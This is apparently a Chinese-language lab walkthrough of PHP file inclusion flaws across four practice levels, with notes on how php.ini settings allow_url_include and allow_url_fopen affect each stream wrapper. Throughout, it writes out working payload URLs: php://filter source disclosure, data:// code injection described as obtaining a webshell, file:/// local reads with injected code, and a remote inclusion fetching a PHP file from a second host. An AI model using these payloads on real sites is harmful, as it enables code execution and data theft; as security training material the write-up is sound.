第一关
源码
尝试在news.php添加 ./ 观察是否有变化
没有变化可能存在文件包含
使用php伪协议查看文件
http://192.168.75.157/action/action.php?action=php://filter/read=convert.base64-encode/resource=news.php
可以读到数据
说明该文件包含前面没有路径,可以使用远程文件包含的方式进行
使用data://text/plain,abc 看能否显示文件后缀
http://192.168.75.157/action/action.php?action=data://text/plain,abdasdfasdfasdf
也可以这样写 data:text/plain,adfagadf
http://192.168.75.157/action/action.php?action=data:text/plain,abdasdfasdfasdf
注意:需要对php.ini 配置文件进行修改 allow_url_include=On allow_url_fopen=On 否则不能进行远程文件包含。
可以直接通过data://text/plain,abc<?php phpinfo()?> 拿到webshell
http://192.168.75.157/action/action.php?action=data:text/plain,<?php phpinfo()?>
第二关
源码
1. ./ 查看是否存在文件包含问题 没有发生变化可能存在文件包含
2. 使用php://filter/read=convert.base64-encode/resource=new.php 没有发生变化,说明文件前有路径,大概率不能进行远程文件包含
3. 使用data://text/plain,abc 能否显示后缀,不能显示后缀,不能进行远程文件包含,只能尝试本地文件包含
4. 使用file:/// 的方式读取服务器本地的文件
a) http://192.168.75.157/action/action.php?action=file:///C:\phpStudy\WWW\action\news.jpg&pass=phpinfo();die();
第三关
源码
1. 使用 ./ 查看是否存在文件包含 页面没有变化可能存在文件包含
2. 使用伪协议查看文件是否有前缀 没有文件前缀
3. 使用data://text/plain,adsfgg 查看是否有后缀 可以显示,通过显示可以确定文件的后缀为 .php
第四关
源码
1. 使用 ./ 查看是否存在文件包含问题 没有改变可能存在
2. 使用 php://filter/read=convert.base64-encode/resource=new.php 没有反应,存在文件前缀
3. 使用data://text/plain,qwraftg 没反应基本没戏,比较难利用
php.ini 测试 allow_url_include 和 allow_url_fopen 在不同状态下的情况
http://
allow_url_include=Off allow_url_fopen=Off 不行
http://192.168.100.16/action/action.php?action=http://192.168.100.93/l.php
allow_url_include=On allow_url_fopen=On 只有这种状态可以
php://
php://input 直接接收所有的POST内容
php://filter/read=convert.base64-encode/resource=a.php(绝对路径/相对路径)都可读出 a.php 内容,使用的base64显示
allow_url_include=On/Off allow_url_fopen=On 都可以
allow_url_fopen=Off php://input 不行
php://filter/read=convert.base64-encode/resource=a.php 可以
data://
data://text/plain,asdgfh
allow_url_include=Off allow_url_fopen=Off 不行
allow_url_include=On allow_url_foprn=On 只有这个可以
file:// 没影响
allow_url_include=Off allow_url_fopen=Off
http://192.168.100.16/action/action.php?action=file://C:\phpStudy\WWW\action\news.jpg